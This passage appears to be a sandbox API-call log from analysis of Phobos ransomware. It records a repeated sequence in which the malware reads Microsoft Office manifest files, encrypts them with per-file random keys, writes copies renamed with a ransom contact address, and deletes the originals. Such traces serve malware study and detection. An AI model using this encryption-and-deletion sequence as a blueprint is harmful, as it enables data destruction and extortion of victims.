returned 1 [0053.103] CloseHandle (hObject=0x2e4) returned 1 [0053.104] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0053.105] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0053.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.105] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1261) returned 1 [0053.105] CloseHandle (hObject=0x2e4) returned 1 [0053.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.106] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.106] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.107] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ceb0) returned 1 [0053.107] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.107] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4ed, lpOverlapped=0x0) returned 1 [0053.360] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0) returned 1 [0053.360] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4f0, lpOverlapped=0x0) returned 1 [0053.361] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0053.361] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.361] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0053.361] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0053.361] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0053.361] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0053.361] CloseHandle (hObject=0x2e4) returned 1 [0053.361] CloseHandle (hObject=0x318) returned 1 [0053.363] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0053.433] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0053.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.434] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=215883) returned 1 [0053.434] CloseHandle (hObject=0x308) returned 1 [0053.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0053.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.435] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.435] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.435] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0053.435] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.435] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x34b4b, lpOverlapped=0x0) returned 1 [0053.493] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x34b50, dwBufLen=0x34b50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x34b50) returned 1 [0053.493] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x34b50, lpOverlapped=0x0) returned 1 [0053.498] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0053.498] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.498] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0053.498] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0053.498] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0053.498] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0053.498] CloseHandle (hObject=0x308) returned 1 [0053.498] CloseHandle (hObject=0x31c) returned 1 [0053.503] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0053.505] SetEvent (hEvent=0x2e8) returned 1 [0053.505] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0053.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.506] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1261) returned 1 [0053.506] CloseHandle (hObject=0x31c) returned 1 [0053.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.507] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.507] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.507] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d0f0) returned 1 [0053.507] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.507] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4ed, lpOverlapped=0x0) returned 1 [0053.535] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0) returned 1 [0053.535] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4f0, lpOverlapped=0x0) returned 1 [0053.536] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cab0) returned 1 [0053.536] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.536] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0053.536] CryptDestroyKey (hKey=0x10cab0) returned 1 [0053.536] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0053.536] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0053.536] CloseHandle (hObject=0x31c) returned 1 [0053.536] CloseHandle (hObject=0x308) returned 1 [0053.537] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0053.538] SetEvent (hEvent=0x2e8) returned 1 [0053.538] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0053.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.538] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=14913) returned 1 [0053.538] CloseHandle (hObject=0x308) returned 1 [0053.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.540] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.540] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.541] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cab0) returned 1 [0053.541] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.541] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x3a41, lpOverlapped=0x0) returned 1 [0053.569] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3a50, dwBufLen=0x3a50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3a50) returned 1 [0053.569] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x3a50, lpOverlapped=0x0) returned 1 [0053.570] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0b0) returned 1 [0053.570] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.570] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0053.570] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0053.570] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0053.570] CryptDestroyKey (hKey=0x10cab0) returned 1 [0053.570] CloseHandle (hObject=0x308) returned 1 [0053.570] CloseHandle (hObject=0x31c) returned 1 [0053.571] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0053.572] SetEvent (hEvent=0x2e8) returned 1 [0053.572] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0053.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.572] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1261) returned 1 [0053.572] CloseHandle (hObject=0x31c) returned 1 [0053.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.573] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.573] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.573] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce30) returned 1 [0053.573] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.573] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4ed, lpOverlapped=0x0) returned 1 [0053.613] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0) returned 1 [0053.613] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4f0, lpOverlapped=0x0) returned 1 [0053.614] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cfb0) returned 1 [0053.614] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.614] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0053.614] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0053.614] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0053.614] CryptDestroyKey (hKey=0x10ce30) returned 1 [0053.614] CloseHandle (hObject=0x31c) returned 1 [0053.614] CloseHandle (hObject=0x308) returned 1 [0053.615] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0053.616] SetEvent (hEvent=0x2e8) returned 1 [0053.616] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0053.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 